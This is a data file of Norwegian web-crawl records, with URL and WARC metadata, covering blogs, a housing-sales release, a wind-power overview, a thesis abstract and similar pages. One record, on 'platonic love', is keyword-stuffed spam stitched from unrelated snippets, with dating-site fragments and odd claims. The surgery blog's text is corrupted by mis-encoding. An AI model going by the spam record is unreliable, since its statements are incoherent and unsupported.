\nDet blir premiering av de tre beste i norgesmesterskapet. En resultatliste blir utarbeidet basert p\u00e5 maks poeng som kan oppn\u00e5s i hver klasse og omregnet med faktor slik at det blir mest mulig rettferdig med hensyn til vanskelighetsgrad. Dessuten blir det premiering av den beste i intermediate og sportsman. Alle f\u00e5r diplom.  \n\n\u00a0\n", "language": "no", "__index_level_0__": "7753f9a7-826e-416a-be16-79fbc035bdb6"}
{"url": "http://nyttogshabby.blogspot.com/2011_09_01_archive.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:12:38Z", "text": "\n\n## onsdag 14. september 2011\n\n### V\u00c5GA til Nytt & shabby\n\nDet svenske smykkemerket V\u00e5ga er n\u00e5 kommet til Nytt & shabby. Masse freshe smykker med flotte detaljer, og ikke minst bra kvalitet.  \n  \nV\u00c5GA startet i 2007 av Ingela og Elice, to kusiner som begge nyter vakre ting. Deres fimar holder til i Hedemora, som er Dalarnas eldste by. Produksjonen skjer i egen regi i Kina. Og de har et veldig godt samarbeide med sine ansatte der nede. I dag fines V\u00e5ga representert hos over 1000 utsalgssteder (og vi er heldige \u00e5 f\u00e5 v\u00e6re en av dem) Det finnes i Sverige, Norge, Danmark og Finland.  \n  \nUnder ser dere noen fine Image-bilder fra V\u00e5ga. Er \u00e5 finne i butikken n\u00e5, men kommer snart ogs\u00e5 i nettbutikken :o)  \n  \n  \n  \n  \n\n\n\n Lagt inn av  Kjersti    kl. \n13:00  \n| ----------- |  |\n### Oslo fashion awards\n\n    \n  \n  \nHei igjen\\!\n\n  \nJa her jobbes det for fullt b\u00e5de med \u00e5 ta h\u00e5nd om nye varer som kommer inn, sende varer ut til kunder og ikke minst planlegge visningen vi skal ha p\u00e5 Oslo fashion awards onsdag 5 oktober 2011. Og som jeg gleder meg\\!  \n  \nBillettene er kommet i posten, og her st\u00e5r det alts\u00e5 svart p\u00e5 hvitt at vi skal v\u00e6re med.... \\*er s\u00e5 uvirkelig\\* :o) og i selskap med bla Joe frogner, Probat, Tulip & tatamo, Zig zag, Efva Attling studio, Amalies... Det er totalt 24 butikker som skal v\u00e6re med i visningen her i Oslo-omr\u00e5det. Blir spennende \u00e5 se mangfoldet p\u00e5 konseptene.\n\n  \nVi f\u00e5r 6 visninger dvs at jeg m\u00e5 planlegge 6 antrekk som beskriver butikken min p\u00e5 best mulig m\u00e5te\\! Er jo litt vanskelig n\u00e5r man har s\u00e5 mye fint \u00e5 velge og vrake blant :o) Men tror jeg har landet ganske greit n\u00e5. Siden jeg strikker endel selv holder jeg n\u00e5 p\u00e5 \u00e5 strikke plagg som skal understreke og sette prikken over i'en p\u00e5 antrekkene\\! En spennende jobb det ogs\u00e5...  \n  \nKlem til dere alle \u2665\n\n Lagt inn av  Kjersti    kl. \n 2 kommentarer:           \n## onsdag 7. september 2011\n\n### H\u00f8stnyheter\n\nHektiske tider i butikken n\u00e5 om dagen. Massevis av h\u00f8stnyheter kommer inn d\u00f8rene, og tiden strekker knapt nok til\\!  \n  \n  \nMildred jakke(799) i petrolbl\u00e5tt med brune detaljer er kommet til butikken. Her vises den p\u00e5 en dukke sammen med Bella underkjole i naturhvitt (499)og Felina mammelukker (299) i fargen dusky grey. I halsen har dukken p\u00e5 seg et tubeskjerf eller hals i naturhvitt.(349)  \n  \nDenne skjorten (699) som er vist p\u00e5 modellen her er ogs\u00e5 kommet. Se den R\u00c5 ryggen. Kul ikke sant?  \nDen er enkel rett foran, men disse herlige rysjene bak p\u00e5 ryggen. Den er beige og hvit rutete med bl\u00e5tt broderi. Litt smal i modellen s\u00e5 g\u00e5 gjerne opp en st\u00f8rrelse\\!  \nBuksen p\u00e5 bildet er Botta jeans til 899,- en herlig modell som g\u00e5r opp bak og i sidene s\u00e5 man slipper vise ALT n\u00e5r man b\u00f8yer seg.  \n  \nHerlig fleece er heller ikke \u00e5 forakte p\u00e5 kaldere dager... Omslagsjakke med stor deilig hette. Blondedetaljer. Nydelig kvalitet som holder seg fint i vask. Den finnes ogs\u00e5 i en gr\u00e5beige farge. Denne er stor i st\u00f8rrelsen s\u00e5 her kan man gjerne g\u00e5 ned en st\u00f8rrelse i forhold til hva man er vant med. 599,- koster denne jakken\\!  \nDette var en liten sneakpeak resten av nyhetene finner dere p\u00e5 http://www.nyttogshabby.mystore.no/  \n  \n\n  \nHa en fin dag\\!\n\n  \nKlem fra Kjersti  \n  \n  \nJeg jobber til daglig i et av nordens st\u00f8rste profileringsfirmaer. Ide house of brands. Morsom jobb med mange spennende utfordringer . I tillegg er jeg forretningseier hos Amway -verdens st\u00f8rste shoppingsenter p\u00e5 nett :)  \nJeg blogger n\u00e5r jeg f\u00f8ler for det og synes det er noe som er verdt og dele. Blogger dermed ikke s\u00e5 ofte men en gang i blant er alltid hyggelig :)  \n  \n\n    \n\n  \n## Hvem er jeg i Jane Austens verden?\n\n", "language": "no", "__index_level_0__": "fd0fcfca-118b-4c06-aa88-eb179849c0e6"}
{"url": "http://help4writers.com/137-hva-er-platonisk-kjrlighet.php", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:47:51Z", "text": "17\\. nov 2017 Handlinger er faktisk mer sannsynlig \u00e5 vise ekte f\u00f8lelse og intensjoner bedre enn enkle ord, Generelt har menn et stort behov for \u00e5 hevde seg, spesielt hvis du snakker en annen mann i hans n\u00e6rv\u00e6r. Hva skal se etter bevis for platonisk kj\u00e6rlighet om han elsker meg? Det er ingen sikker m\u00e5te \u00e5 vite sikkert\u00a0 l voksen dating 2017 15. apr 2017 Men, med Feng Shui f\u00e5r man noen nyttige tips p\u00e5 hvordan man innreder soverommet slik at man f\u00e5r b\u00e5de en god s\u00f8vn og kj\u00e6rlighet. F\u00f8rst og fremst b\u00f8r man ha Bl\u00e5tt virker sv\u00e6rt svalende p\u00e5 sexlivet og b\u00f8r unng\u00e5s hvis man ikke \u00f8nsker seg et platonisk forhold da. Hvis du er en kvinne kan jeg tipse deg\u00a0 Hva betyr platonisk\\! Synonymer til platonisk\\! platonisk betyr\\! platonisk. Eksempler p\u00e5 hvordan du bruker. Platonisk betyr omtrent det samme som Anstendig. Se alle synonymer nedenfor. Synonymer anstendig, asketisk, avholdende, bluferdig, dydig, h\u00f8visk, intakt, jomfruelig, kysk, moralsk, ren, respektabel, sedelig, s\u00f8mmelig\u00a0\n## Menn og damer klarer ikke v\u00e6re platoniske venner. I hvert fall om du sp\u00f8r mennene.\n\n20\\. okt 2017 Flygebyr er alle unge mennesker, kontingenten er opptil 35 \u00e5r gammel, den \u00e5nd av platonisk kj\u00e6rlighet hersker gjennom hele besetningen. Unge mennesker er for det meste homofile. Det er mange gifte par som flyr noen ganger med fly. Om natten, n\u00e5r flyturen er lang, spiller vi kort for begj\u00e6r: \u00e5 n\u00e6rme\u00a0 s hvor finne kj\u00e6resten Det hadde v\u00e6rt interessant \u00e5 h\u00f8re om det var store avvik i hva man legger i disse begrepene. (Mine definisjoner i parantes) 1. Ikke valgt (nykommer eller ekstremt usikker p\u00e5 hvorfor man er her) 2. Venn av annet kj\u00f8nn (Ute etter \u00e5 utvide vennekretsen, et platonisk forhold til en av motsatt kj\u00f8nn) 3. 14. apr 2016 N\u00e5r et kj\u00e6rlighetsforhold er over, vil nemlig en del av hjernen din fortsatt holde liv i kj\u00e6rligheten. Og det gjelder uansett om du er den som gj\u00f8r Det gjorde de ved hjelp av en MRI-maskin og deltakerne ble vist et bilde av av b\u00e5de en platonisk venn og sin ekskj\u00e6reste. De analyserte deretter hvert bilde og\u00a0\n\nw q500 dating app 3. okt 2014 Og hva hun sa med blomster kom som et sjokk. Rett og slett overrasket. Jeg s\u00e5 ikke den komme. Det er heller ikke sikkert min kamerat helt vil innfinne seg med hva hans kone gav til en annen mann. Jeg regner faktisk Hvit rose: Uskyldig, platonisk kj\u00e6rlighet, men ogs\u00e5 jomfruelighet og renhet. Bukett: R\u00f8d\u00a0\n\n## Tid for tilst\u00e5else \u2013 Scenekunst\n\nb ex kj\u00e6resten 4. nov 2015 platonisk kj\u00e6rlighet datingside \u2013 Jeg synes kolleksjonen er kjempefin. Den er helt i tr\u00e5d med det man kan forvente av Balmain og lever dermed opp til forventingene. Da H\\&M gikk inn samarbeidet visste H\\&M hva de gikk til. Det som skiller denne kolleksjonen fra tidligere kolleksjoner ligger i kontrasten\u00a0 Roser assosieres ofte med kj\u00e6rlighet. Men der er ogs\u00e5 ting her du b\u00f8r tenke p\u00e5 f\u00f8r du \u00e5pner lommeboken din. R\u00f8d Rose: Jeg lengter etter deg. M\u00f8rk R\u00f8d: Jeg venter p\u00e5 deg. Oransje: Jeg er din venn. Rosa: Jeg er forelsket i deg og lover deg troskap. Hvit Rose: Uskyldig, platonisk kj\u00e6rlighet, men ogs\u00e5 jomfruelighet og\u00a0\n\nekteskap skatt 24. mar 2007 Kj\u00e6rlighet er ikke det samme for alle. For \u00e5 skape en familie m\u00e5 det v\u00e6re noe som ikke er overfladisk, noe spesielt. Det har jeg ikke funnet. Men platonisk kj\u00e6rlighet kan bety like mye. Savnet av egne barn har hun kjent p\u00e5. Men i tillegg til s\u00f8sterens to s\u00f8nner, er hun tante Eva for mange. Den morsomme\u00a0En venn av meg mener at kvinner \u00f8nsker faste forhold, for \u00f8vrig platoniske forhold. Omsorg for barn er sentralt. Vennen mener ogs\u00e5 at men jeg tror ikke de \u00f8nsker platoniske forhold. Kvinner har behov for n\u00e6rhet og sex les: kj\u00e6rlighet. Hva grunnen kan v\u00e6re? Jeg tipper du har f\u00e5tt det fordi kona di forlot\u00a0 15. jun 2012 Vi er nesten som et gammelt ektepar, men det er platonisk kj\u00e6rlighet, humrer Vennersten. Hun ser at det er mange fordeler \u00e5 ha en fast makker. \u2013 Vi begynner jo \u00e5 kjenne hverandre godt, og da er det lettere \u00e5 finne l\u00e5ter vi kan gj\u00f8re sammen. Jeg vet ganske godt hva Gaute makter \u00e5 synge, og tror han\u00a0\n\n", "language": "no", "__index_level_0__": "c1e67e6a-51a7-426d-855b-16e93b20c335"}
{"url": "http://charterhilde.no/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:01:48Z", "text": "## Hvem er  \nCharter-Hilde?\n\nJeg heter Hilde Skovdahl og er vel mest kjent fra TV serien Charterfeber som jeg n\u00e5 har v\u00e6rt med i 8 sesonger. Videre har jeg deltatt i flere debatt programmer p\u00e5 NRK , 4-stjerners middag og andre underholdningsprogram b\u00e5de p\u00e5 TV og radio.  \nJeg er f\u00f8dt i Norge men store deler av min barndom oppvokst i Kenya  \nJeg er foredragsholder, forfatter og skribent.  \nAvholdskvinne og livsnyter\\!\n\n  - \n    \n", "language": "no", "__index_level_0__": "bccd64a3-cfb9-408a-9921-b74fb854356a"}
{"url": "http://blogg.lillylabs.no/forberder-seg-pa-bryllup/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:29:26Z", "text": "# Glenn og Camilla forberder seg p\u00e5 bryllup\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n## En kommentar om \"Glenn og Camilla forberder seg p\u00e5 bryllup\"\n\n1.   **Henrik Pryser Libell** sier:\n    \n    13\\. september 2014, kl. 18:17\n    \n    Kjekke karer og vakker dame. Jeg har alltid ment bryllupsbildene burde bli tatt slik \u2013 som en forhistorie som leder opp mot et klimaks \u2013 nemlig seremonien. Det er alt f\u00f8r, rundt (og etter) som gj\u00f8r bryllupsbilder til en komplett historie, ikke ulike familiemedlemmer flanket rundt samme par p\u00e5 samme sted. Kul serie\\!\n    \n", "language": "no", "__index_level_0__": "d52edc4c-ba3b-4f10-9bd7-554664173ffc"}
{"url": "http://conpot.no/2015/10/01/selvaag-bolig-solgte-boliger-for-750-millioner-kroner/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:22:55Z", "text": "\\> Solgte boliger for 750 millioner kroner\n\n  - \n\n# Solgte boliger for 750 millioner kroner\n\nI tredje kvartal 2015 solgte Selvaag Bolig 208 boliger med en samlet verdi p\u00e5 750 millioner kroner. Ved utgangen av perioden hadde selskapet 1 426 boliger under bygging.\n\nEiendom/bolig**Publisert:** 01.10.2015\n\n\u2013 Det er stor ettersp\u00f8rsel etter nye boliger i Stor-Oslo, Bergen og Trondheim, og vi har solgt godt i alle prosjektene v\u00e5re i disse markedene. Vi har gode produkter og sv\u00e6rt konkurransedyktige priser. Bedre salg enn forventet i tidligere perioder har imidlertid f\u00f8rt til at vi har hatt f\u00e6rre boliger til salgs i dette kvartalet. Vi lanserer flere store prosjekter i fjerde kvartal, og kommer til \u00e5 styrke tomtebanken v\u00e5r ytterligere, sier administrerende direkt\u00f8r Baard Schumann.\n\nTotalt ble det igangsatt bygging av 204 boliger i tredje kvartal. 172 boliger ble ferdigstilt, og 202 ble overlevert til kj\u00f8per. Per 30. september hadde Selvaag Bolig 25 ferdigstilte boliger som ikke var solgt, og 1 426 boliger under bygging.\n\nI l\u00f8pet av \u00e5rets tre f\u00f8rste kvartaler har Selvaag Bolig solgt 726 boliger med en samlet verdi p\u00e5 2,46 milliarder kroner. I l\u00f8pet av de ni f\u00f8rste m\u00e5nedene av 2014 solgte Selvaag Bolig 653 boliger til en samlet verdi av 2,25 milliarder kroner.\n\nI tredje kvartal i fjor solgte Selvaag Bolig 259 boliger med en samlet verdi p\u00e5 915 millioner kroner.\n\n", "language": "no", "__index_level_0__": "8ac7d8e8-8218-4e97-9ec4-71a975a19b25"}
{"url": "http://www.klikk.no/foreldre/tester/test-av-navnelapper-3351990", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00510.warc.gz", "warc_date": "2018-03-24T23:30:35Z", "text": "# Sabo fargelapper\n\n### Fine klistrelapper, kl\u00f8nete nettside.\n\n\n\n  Morten Solli  \n\nPublisert 28.01.13  Oppdatert 23.10.14 \n\nType: Klistrelapper i farger.\n\nPris: Pakke med 75 lapper koster kr. 79. I tillegg kommer et fraktgebyr p\u00e5 hele 60 kroner - da blir prisen kr. 1,85 per lapp.\n\nBetalingsm\u00e5te: Kort eller faktura - tar kr. 60 i gebyr for forsendelsen. Denne opplysningen kommer ikke opp f\u00f8r du har fylt ut alle personaliaopplysninger, men var mulig \u00e5 spore opp under \"Betingelser\".\n\nSelve lappene er tykke og enkle \u00e5 feste. Men nettsiden er rotete. Du f\u00e5r ikke se hvordan lappen ser ut etter at du har designet og bestilt. Det trekker ned.\n\n### Spesifikasjoner\n\n|           |          |\n| --------- | -------- |\n| Produsent | ****     |\n| Pris      | **1,85** |\n\n### Konklusjon\n\n**V\u00e5r karakter**\n\n", "language": "no", "__index_level_0__": "42b83c43-26af-44ad-a081-3112398068a5"}
{"url": "https://munin.uit.no/handle/10037/11099", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:08:09Z", "text": "##### Sammendrag\n\nI denne masteroppgaven har jeg \u00f8nsket \u00e5 se n\u00e6rmere p\u00e5 kommunal budsjettpraksis: bruk, opplevd nytteverdi, utfordringer og kritikk av budsjettprosess, budsjettering og budsjett som styringsverkt\u00f8y. Som casestudie har jeg benyttet Troms\u00f8 kommune, som siden 2002 har v\u00e6rt organisert i en to-niv\u00e5modell. P\u00e5 unders\u00f8kelsestidspunktet, medio desember 2015, primo januar 2016 og medio mai 2016, benyttet Troms\u00f8 kommune seg av en parlamentarisk styrt organisasjonsmodell. Gjennom arbeidet med masteroppgaven \u00f8nsker jeg \u00e5 besvare f\u00f8lgende problemstillinger: I hvilken grad er budsjettet egnet som styringsverkt\u00f8y sett opp mot brukernes nytteverdi? Hvor relevant er budsjettkritikken for Troms\u00f8 kommunes budsjettpraksis? For \u00e5 svare p\u00e5 problemstillingen har jeg gjennomf\u00f8rt og samlet inn prim\u00e6rdata fra 7 respondenter gjennom kvalitative intervjuer og fra 114 kommunalt ansatte ved bruk av en kvantitativ sp\u00f8rreunders\u00f8kelse. Av de 114 var det 40 enhetsledere og tjenesteledere som svarte p\u00e5 sp\u00f8rreunders\u00f8kelsen, dvs. en responsrate p\u00e5 om lag 50% av total antall enhetsledere og tjenesteledere i Troms\u00f8 kommune. I tillegg var det 24 ansatte med \u00f8konomi- og budsjettansvar som svarte p\u00e5 unders\u00f8kelsen, og 50 informanter som delvis har kunnskap om det jeg \u00f8nsker \u00e5 unders\u00f8ke. I tillegg har jeg samlet inn sekund\u00e6rdata fra kommmunens \u00f8konomirapporter i 2015, og ureviderte regnskapstall 2015. Ut fra funnene i den kvantitative og kvalitative unders\u00f8kelsen er budsjettet i stor grad egnet som styringsverkt\u00f8y sett opp mot brukernes nytteverdi i Troms\u00f8 kommune. Imidlertid viser funnene fra kartleggingen at respondentene er litt enig i kritikken rettet mot budsjetter og at budsjettkritikken er relevant i Troms\u00f8 kommune.\n\n", "language": "no", "__index_level_0__": "9b537dc7-1c8a-4373-915c-3e338b4153e2"}
{"url": "https://www.dehistoriske.no/destinasjoner/oslo-og-omegn/spisesteder/grand-cafe/kurs-og-konferanse/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:42:56Z", "text": "# Grand Caf\u00e9\n\n## Lei et historisk lokale i Oslo til ditt neste m\u00f8te.\n\n-----\n\nGrand Caf\u00e9s fantastiske vinkjeller leies ut delvis eller i sin helhet, enten man ser etter lokaler for frokostm\u00f8ter, konferanser p\u00e5 dagtid eller kveldsarrangementer. Chambre s\u00e9par\u00e9et er for de spesielle m\u00f8tene hvor det er plass til inntil 10 gjester og i det store chambreet er det plass til inntil 100 p\u00e5 langbord. Grand Cafe \u00e5pnet i oktober 2016 og har allerede rukket rukket \u00e5 ha et bredt spekter av arrangementer av ulik st\u00f8rrelse og av ulik karakter. Velkommen til en lun og unik atmosf\u00e6re.\n\n    Sentral beliggenhet\n    \n    Midt i sentrum i Karl Johans gate 31.\n    \n\n    Vinopplevelse\n    \n    Over 16.000 flasker og mer enn 1.500 ulike viner.\n    \n\n    Historien\n    \n    I 1874 \u00e5pnet Grand Caf\u00e9 d\u00f8rene, den gang Oslo het Kristiania.\n    \n\nHva med neste m\u00f8te p\u00e5 stamstedet til Kristianiabohemene?\n\n-----\n\nI 1874 \u00e5pnet Grand Caf\u00e9 d\u00f8rene, den gang Oslo het Kristiania. Det var her det hele startet. Caf\u00e9en var stamstedet for blant andre Henrik Ibsen, Roald Amundsen, Knut Hamsun, Gustav Vigeland og Fridtjof Nansen i tillegg til en rekke andre 'Kristianabohemer'. N\u00e5 har en ny \u00e6ra startet. Grand Caf\u00e9 har n\u00e5 \u00e5pnet i ny drakt og det er lagt vekt p\u00e5 \u00e5 bevare de historiske linjene tilbake til 1874. Dekorhimlingene til Lars Backer er avdekket og gjenskapt, de originale Thonet-stolene er renovert og de tre ber\u00f8mte Krohg-maleriene er bevart. Men, for \u00e5 skape en Grand Caf\u00e9 som ikke bare ser tilbake, har er det fokusert p\u00e5 \u00e5 skape ny historie, nye smaker og opplevelser. Den nye vinkjelleren med vinbar ligger i etasjen under restauranten. Med over 16.000 flasker og mer enn 1.500 ulike viner kan Grand Caf\u00e9 tilby en rikholdig vinopplevelse. Vi ser med glede p\u00e5 \u00e5 kunne ta del i de neste 100 \u00e5rene og skape ny historie.\n\n\n\nFoto: Thomas Barstad Eckhoff\n\n", "language": "no", "__index_level_0__": "5be1c2db-2750-4586-aeae-1fbeb5df11f1"}
{"url": "http://www.vindportalen.no/Vindportalen-informasjonssiden-om-vindkraft/Vindkraft/Vindkraft-i-Norge", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:33:18Z", "text": "## Vindkraft i Norge\n\n## Vindkraft i Norge\n\n#### Vindkraften i Norge n\u00e5\n\nUtviklingen i norsk vindkraft har den siste tiden v\u00e6rt sv\u00e6rt rask. I l\u00f8pet av 2017 ble det besluttet \u00e5 bygge vindkraftverk med en samlet kapasitet som er st\u00f8rre en den totale mengden vindkraft ved inngangen til \u00e5ret. Her presenterer vi situasjonen i norsk vindkraft slik den ser ut akkurat n\u00e5:\n\n|                             |          |                             |\n| --------------------------- | -------- | --------------------------- |\n|                             | **\u00a0 MW** | **\u00a0 \u00a0 \\*Produksjon/\u00e5r GWh** |\n| **I drift**                 | 1189,7   | 3 450                       |\n| **Besluttet/under bygging** | 1650,7   | 5 777                       |\n| **Sum**                     | 2840     | 9 227                       |\n\n\\*For oversiktens skyld er det regnet med 2 900 fullasttimer for parker i drift, og 3 500 fullasttimer for nye parker.\u00a0\n\n#### Produksjon og utvikling\n\nNorske vindkraftverk hadde ved utgangen av 2017 en samlet installert ytelse p\u00e5 1165 MW.\n\nProduksjonen ved norske vindkraftverk i 2017 var p\u00e5 2,85 TWh; dette gir en brukstid- det vil si produksjon delt p\u00e5 installert effekt -\u00a0p\u00e5 2856 timer. Tilsvarende tall for 2016 var 2,1 TWh og\u00a02512 fullasttimer. I\u00a02016 hadde den norske vindkraften en installert effekt p\u00e5 841 MW\n\nI 2016 utgjorde produksjonen fra norske vindkraftverk 1,4% av Norges totale elektrisitetsproduksjon, i et \u00e5r hvor norsk elektrisitetsproduksjon n\u00e5dde sitt h\u00f8yeste niv\u00e5 noen sinne, med 149,5 TWh. I 2017 utgjorde produksjonen fra norske vindkraftverk 1,9% av en totalproduksjon p\u00e5 149,3 TWh\n\nProduksjonsindeksen angir den forventede produksjonen gitt \u00e5rets vindressurs, relativt til forventet produksjon i et normal\u00e5r. For 2016 var produksjonsindeksen ved norske vindkraftverk p\u00e5 92%. I 2017 var produksjonsindeksen p\u00e5 102,3%. B\u00e5de kapasitetsfaktoren (brukstid delt p\u00e5 \u00e5rets tilgjengelige timer) og produksjonsindeksen har \u00f8kt mellom 2016 og 2017; brukstiden \u00f8kte imidlertid mer enn endringen i tilgjengelig vindressurs, og dermed kan vi konstatere en forbedring i effektiviteten ved norske vindkraftverk. Det samme var tilfellet mellom 2015 og 2016, men med forskjellige fortegn. 2015 var et godt vind\u00e5r, og 2016 var et relativt d\u00e5rlig vind\u00e5r. Mellom 2015 og 2016 falt derfor b\u00e5de brukstid og produksjonsindeks, men produksjonsindeksen falt mest.\u00a0\n\n# Produksjonstabell NVE 2017\n\nI tillegg har man i perioden 2015-2017 ferdigstilt parker som ikke vises i produksjonsoversikten (men telles med): Tellenes (160 MW), Egersund (112,2 MW) og Sv\u00e5heia (25,2 MW) i Rogaland og Hamnefjell (51,8 MW) i Finnmark. Man har ogs\u00e5 utvidet Mehuken med et tredje trinn p\u00e5 9,9 MW i perioden.\u00a0\u00a0\n\nSe ogs\u00e5\u00a0kart over alle vindkraftprosjekter, b\u00e5de bygde og planlagte.\u00a0\n\n## Prosjektnytt\n\nNVE og OED har gitt konsesjoner p\u00e5 omlag 7400 MW vindkraft. Dette tilsvarer en\u00a0forventet produksjon p\u00e5 omlag 26 TWh. Per mars 2018 er 1190 MW i drift. Samtidig er prosjekter med en samlet installert effekt p\u00e5 omlag 1650 MW under bygging.\u00a0\n\nMer informasjon om prosjektene under finnes p\u00e5 NVEs hjemmesider.\u00a0Her finner du informasjon om\u00a0alt fra hjemmesider for prosjektet og prosjekteierne\u00a0til konsesjonss\u00f8knader og klager.\n\n### Fosen\n\nStatkraft, Tr\u00f8nderEnergi, BKW Energie og Credit Suisse besluttet v\u00e5ren 2016 \u00e5 bygge det som blir Europas st\u00f8rste landbaserte vindkraftanlegg. Utbyggingen p\u00e5 Fosen og Snillfjord blir p\u00e5 1000,8 MW, og er den st\u00f8rste investeringen i fastlandsindustrien p\u00e5 lang tid.\n\nHitra 2 vindpark\n\nKilde: Statkraft\n\n### Raskiftet\n\n\u200bEidsiva Energi, Gudbrandsdal Energi og det tyske energiselskapet Stadtwerke M\u00fcnchen har besluttet \u00e5 bygge ut Raskiftet vindkraftverk. Det svenske vindkraftselskapet OX2 vil st\u00e5 for utbyggingen, og parken vil v\u00e6re i drift vinteren 2018/2019.\n\nProsjektet vil ventelig best\u00e5 av 31 vestas-turbiner. Totalt vil investeringene bli p\u00e5 rundt 1,4 milliarder kroner, og parken har en estimert \u00e5rsproduksjon p\u00e5 opp mot 370 GWh. Prosjektet f\u00e5r en sterk lokal forankring, gjennom eierskapet til Eidsiva og Gudbransdal Energi. De to selskapene skal eie 20% hver, mens tyske Stadtwerke M\u00fcnchen (SWM) skal eie de siste 60%.\u00a0\n\n### \u00c5nstadbl\u00e5heia\n\nFortum bygger \u00c5nstadbl\u00e5heia p\u00e5 50,4 MW i Nordland fylke. Prosjektet best\u00e5r av 14 Vestas 3,6 MW turbiner, og forventes ferdigstilt i 2018.\n\nFortum bygger ogs\u00e5\u00a0**S\u00f8rfjord\u00a0**vindkraftverk i Nordland - dette kraftverket blir p\u00e5 96,6 MW, fordelt p\u00e5 23 Siemens 4,2 MW turbiner. B\u00e5de \u00c5nsdadbl\u00e5heia og S\u00f8rfjord er utviklet av Nordkraft, og det er Nordkraft som har ansvar for utbyggingen av de to prosjektene.\u00a0\n\n### Midtfjellet - fase 3\n\nMidtfjellet vindpark, som fra f\u00f8r best\u00e5r av to byggetrinn, utvides med 39,6 MW til totalt 149,6 MW. Aquila Capital har g\u00e5tt inn som st\u00f8rste eier i prosjektet, og finansierer utvidelsen. Midtfjellet fase III best\u00e5r av 11 3,6 MW Nordex-turbiner.\n\n### Skurvenuten og Tindafjellet\n\nASKO Fornybar er i ferd med \u00e5 ferdigstille Tindafjellet i Gjesdal kommune i Rogaland. Parken p\u00e5 10 MW inng\u00e5r i Askos offensive fornybarsatsing, og produksjonen fra de 3 3 MW Vestasturbinene skal blant annet g\u00e5 til \u00e5 dekke kraftbehovet ved Askos lager. I tillegg planlegges det tilst\u00f8tende Skurvenuten bygget, ogs\u00e5 dette p\u00e5 10 MW\n\n### Kvitfjell og Raudfjell\n\nProsjektet, p\u00e5 hele 281,4 MW, utenfor Troms\u00f8 bygges av et partnerskap ledet av Prime Capital, der pensjonsfondet \u00c4VWL og Siemens ogs\u00e5 inng\u00e5r. I tillegg har Alcoa signert en kraftkj\u00f8psavtale med prosjektet. Kvitfjell/Raudfjell best\u00e5r av 67 Siemens 4,2 MW turbiner.\u00a0\n\n### H\u00f8g\u00e5s og Joarknatten\n\nScanergy og BKW bygger parkene i \u00d8stfold, best\u00e5ende av 15 3,6 MW Vestasturbiner.\u00a0\n\n### Stor\u00f8y\n\nSolvind setter i samarbeid med Aventron Norway opp 2 3,2 MW Enerconturbiner p\u00e5 Stor\u00f8y i Karm\u00f8y kommune. Parken ligger i et deponi inne p\u00e5 industriomr\u00e5det p\u00e5 Stor\u00f8y, og er ventet ferdigstilt i 2018\u00a0\n\n#### I tillegg er en rekke vindkraftverk konsesjonsgitt, men enda ikke igangsatt. En oversikt finner du her.\u00a0\n\n", "language": "no", "__index_level_0__": "3ea61cbd-0e98-4882-addc-48646174692c"}
{"url": "http://ajss.blogg.no/1276436299_komplikasjoner_1_r_et.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:44:46Z", "text": "# Miss AJ\n\nOnly a little bit insane, that\\`s all\\!\n\n## Komplikasjoner 1 \u010br etter operasjonen.\n\n(13.06.2010)\n\nFor over 1 \u010br siden, n\u0109rmere sagt januar 09, tok jeg en s\u010bkalt *svetteoperasjon.*  \nDe gikk inn under armhulene \u010b fjernet svettekjertlene.  \nUnder h\u011dyre arm ble det betennelse \u010b infeksjon. Takket v\u0109re at jeg fikk gule stafylikokker. Det endte is\u010bfall med at huden spakk opp og det ble en stor lomme bak \u010bpningen. Etter noen mnd ble jeg re-operert, og det samme skjedde igjen.\n\nI 10 mnd gikk jeg med dette f\u011dr det endelig grodde sammen. *x antall* antibiotika kurer, for \u010b ikke snakke om en hel *haug* med legebes\u011dk.  \n  \n*Her hadde det akkuratt sprukket opp, men hullet ble dobbbelt s\u010b stort.*\n\nGrunnen til at jeg tok opp dette, er at n\u010b holder det p\u010b \u010b g\u010b galt igjen. Det har heldigvis ikke sprukket opp enda, men hele armhulen er betent..  \nPga alle komplikasjonene er huden blitt s\u010b d\u010brlig, s\u010b viss det skulle sprekke opp igjen, er det ikke sikkert det vil komme til \u010b gro helt igjen.  \nVar hos legen i forrig\u010brs med armen, men hun turte ikke gj\u011dre noe med det da.\n\nJeg har begynt p\u010b en antibiotika kur, men viss det ikke hjalp, m\u010b jeg inn p\u010b sykehuset \u010b f\u010b skrap ut det som er der..  \nAt det skulle bli s\u010b mye komplikasjoner hadde jeg aldri forestilt meg kunne skje..\n\n  - **Dato:**13.06.2010\n  - **Klokken:**15:38\n  - \\[ Syk \\]\n  - \nMiss AJ\n\n", "language": "no", "__index_level_0__": "61cf482a-ef80-40d7-8171-97eb4ae29895"}
